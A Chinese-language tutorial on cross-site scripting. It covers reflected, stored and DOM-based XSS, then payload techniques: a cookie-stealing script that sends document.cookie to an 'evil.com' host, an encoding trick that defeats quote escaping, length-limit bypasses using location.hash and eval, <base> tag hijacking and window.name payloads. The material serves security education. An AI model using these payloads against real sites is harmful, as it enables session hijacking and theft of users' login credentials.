跨站腳本攻擊(XSS)

跨站腳本攻擊,英文全稱是Cross Site Script。XSS攻擊,通常指黑客通過”HTML注入“篡改了網頁,插入了惡意的腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,所以叫做”跨站腳本“。但是發展到今天,由於JavaScript的強大功能以及網站前端應用的複雜化,是否跨域已經不再重要。但是由於歷史原因,XSS這個名字卻一直保留下來。

 

1)XSS類型

XSS根據效果的不同可以分成如下幾類:

1. 反射型XSS

反射型XSS只是簡單地把用戶輸入的數據”發射“給瀏覽器。也就是說,黑客往往需要誘使用戶”點擊“一個惡意連接,才能攻擊成功。反射型XSS也叫做”非持久型XSS“(Non-persisitent XSS)

2. 存儲型XSS

存儲型XSS會把用戶輸入的數據”存儲“在服務器端。這種XSS具有很強的穩定性。比較常見的一個場景是,黑客寫下一篇包含惡意JavaScript代碼的博客文章,文章發表後,所有訪問該博客的的用戶,都會在他們的瀏覽器中執行這段惡意的JavaScript代碼。黑客把惡意的腳本保存到服務器端,所以這種XSS攻擊就叫做”存儲型XSS“。

存儲型XSS通常也叫做”持久型XSS“(Persistent XSS).

3.DOM Based XSS

通過修改頁面的DOM節點形成的XSS,稱之爲DOM Based XSS。

如下代碼:

<script>

function test(){
    var str = document.getElementById("text").value;
    document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}

</script>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

點擊”write“按鈕後,會在當前頁面插入一個超鏈接,其地址爲文本框的內容:

在這裏,”write“按鈕的onclick事件調用了test()函數。而在test()函數中,修改了頁面的DOM節點,通過innerHTML把一段用戶數據當做HTML寫入到頁面中,這就造成了DOM Based XSS。

構造如下數據:

' onclick=alert(/xss/) //

輸入後,頁面代碼就變成了:

<a href='' onclick=alert(/xss/)//' >testLink</a>

首先用一個單引號閉合掉href的第一個單引號,然後插入一個onclick事件,最後再用註釋符”//"註釋掉第二個單引號。

點擊這個新生成的連接,腳本將被執行:

 

 

2)XSS 攻擊進階

1. XSS Payload - Cookie 劫持

XSS攻擊成功後,攻擊者能夠對用戶當前瀏覽器的頁面植入惡意腳本,通過惡意腳本,控制用戶的瀏覽器。這些用以完成各種具體功能的惡意腳本,被稱爲“XSS Payload”。

一個最常見的XSS Payload,就是通過讀取瀏覽器的Cookie對象,從而發起“Cookie劫持”攻擊。

Cookie中一般加密保存了當前用戶的登錄憑證。Cookie如果丟失,往往意味着用戶的登錄憑證丟失。換句話說,攻擊者可以不通過密碼,而直接登錄用戶的賬戶。

如下所示,攻擊者先加載一個遠程腳本:

http://www.a.com/test.html?abc=''><script src=http://www.evil.com/evil.js></script>

真正的XSS Payload寫在這個遠程腳本中,避免直接在URL的參數裏寫入大量的JavaScript代碼。

在eveil.js中,可以通過如下代碼竊取Cookie:

var img = domcument.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

這段單面在頁面中插入了一張看不見的圖片,同時把document.cookie對象作爲參數發送到遠程服務器。

這樣,就完成了一個簡單的竊取Cookie的XSS Payload。

Set-Cookie時給關鍵Cookie植入HttpOnly標識,或者把Cookie與客戶端IP綁定,都可以防止“Cookie 劫持”。

 

3)XSS構造技巧

1. 利用字符編碼

“百度收藏”曾經出現過一個這樣的XXS漏洞。百度在一個<script>標籤中輸出了一個變量,其中轉義了雙引號:

var redirectUrl="\";alert(/XSS/);";

一般來說,這裏是沒有XSS漏洞的,因爲變量處於雙引號之內,系統轉義了雙引號導致變量無法“escape”。

但是,百度的返回頁面是GBK/GB2312編碼的,因此“%c1\" 這兩個字符組合在一起後,會成爲一個Unicode字符。在Firefox下會認爲是一個字符,所以構造:

%c1”;alert(/XSS/);//

並提交:

在Firefox下得到如下效果:

這兩個字節:“%c1\"組成了一個新的Unicode字符,”%c1“把轉義符號”\“給”吃掉了“,從而繞過了系統的安全檢查,併成功實施了XSS攻擊。

 

2. 繞過長度限制

很多時候,產生XSS的地方會有變量的長度限制,這個限制可能是服務器邏輯造成的。假設下面代碼存在一個XSS漏洞:

<input type=text value="$var" />

服務端如果對輸出變量"$var" 做了嚴格的長度限制,那麼攻擊者可能會這樣構造XSS:

$var爲: ”><script>alert(/xss/)</script>

希望達到的輸出效果是:

<input type=text value=""><script>alert(/xss/)</script>" />

假設長度限制爲20個字節,則這段XSS會被切割爲:

$var輸出爲: “><script> alert(/xss

連一個完整的函數都無法寫完,XSS攻擊可能無法成功。攻擊者可以利用事件(Event)來縮短所需的字節數:

$var 輸出爲:"onclick=alert(1)//

加上空格,剛好20個字節,實際輸出爲:

<input type=text value="" onclick=alert(1)//""/>

當用戶點擊了文本框後,alert()將執行:

但利用”事件“能夠縮短的字節數是有限的。最好的辦法是把XSS Payload寫到別處,再通過簡短的代碼加載這段XSS Payload。

最常用的一個”隱藏碼“的地方,就是”location.hash"。而且根據HTTP協議,location.hash的內容不會再HTTP包中發送,所以服務器端的Web日誌中並不會記錄下location.hash裏的內容,從而更好地隱藏了黑客真實的意圖。

$var 輸出: "onclick"eval(location.hash.substr(1))

總共是40個字節。輸出後的HTML是:

<input type="text" value="" onclick="eval(location.hash.substr(1))" />

因爲location.hash 的第一個字符是#,所以必須去除第一個字符才行。此時構造出的XSS URL爲:

http://www.a.com/test.html#alert(1)

用戶點擊文本框時,location.hash裏的代碼執行了。

location.hash 本身沒有長度限制,但是瀏覽器的地址欄是有長度限制的,不過這個長度已經足夠寫很長的XSS Payload了。要是地址欄的長度也不夠用,還可以再使用加載遠程JS的方法,來寫更多的代碼。

 

3. 使用<base>標籤 

<base>標籤並不常用,它的作用是定義頁面上的所有使用“相對路徑”標籤的hosting地址。

比如,打開一張不存在的圖片:

<body>
<img src="/intl/en_ALL/images/srpr/logolw.png" />
</body>

 

這張圖片實際上是Google的一張圖片,源地址爲:

http://www.google.com/intl/en_ALL/images/srpr/logolw.png

在<image>標籤前加入一個<base>標籤:

<body>
<base href="http://www.google.com" />
<img src="/intl/en_ALL/images/srpr/logolw.png" />
</body>

<base>標籤將指定其後的標籤默認從“http://www.google.com"取URL:

圖片被找到了。

需要特別注意的是,在有的技術文檔中,提到<base>標籤只能用於<head>標籤之內,其實這是不對的。<base>標籤可以出現在頁面的任何地方,並作用於該標籤之後的所有標籤。

攻擊者如果在頁面中插入了<base>標籤,就可以通過在遠程服務器上僞造圖片、鏈接或腳本,劫持當前頁面中的所有使用”相對路徑“的標籤。比如:

<base href="http://www.evil.com">
...
<script src="x.js">< /script>
...
<img src="y.jpg" />
...
<a href="auth.do" >auth</a>

所有在設計XSS安全方案時,一定要過濾掉這個非常危險的標籤。

 

4. window.name 的妙用

window.name 對象是一個很神奇的東西。對當前窗口的window.name 對象賦值,沒有特殊字符的限制。因爲window對象是瀏覽器的窗體,而非document對象,因此很多時候window對象不受同源策略的限制。攻擊者利用這個對象,可以實現跨域、跨頁面傳遞數據。在某些環境下,這種特性將變得非常有用。

參考以下案例。假設”www.a.com/text.html"的代碼爲:

<body>
<script>
window.name="test";
alert(document.domain+"  "+window.name);
window.location="http://www.b.com/test1.html";
</script>
</body>

這段代碼將www.name賦值爲test,然後顯示當前域和window.name的值,最後將頁面跳轉到“www.b.com/test1.html"。

"www.b.com/test1.html"的代碼爲:

<body>
<script>
alert(document.domain+"  "+window.name);
</script>
</body>

這裏顯示了當前域和window.name的值。最終效果如下,訪問”www.a.com/test.html":

window.name賦值成功,然後頁面自動跳轉到“www.b.com/test1.html":

這個過程實現數據的跨域傳遞:”test“ 這個值從www.a.com傳遞到www.b.com。

使用window.name 可以縮短XSS Payload的長度,如下所示:

<script>
window.name = "alert(document.cookie)";
location.href = "http://www.xssedsite.com/xssed.php";
</script>

在同一窗口打開XSS的站點後,只需通過XSS執行以下代碼即可:

eval(name);

只有11個字節,短到了極點。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章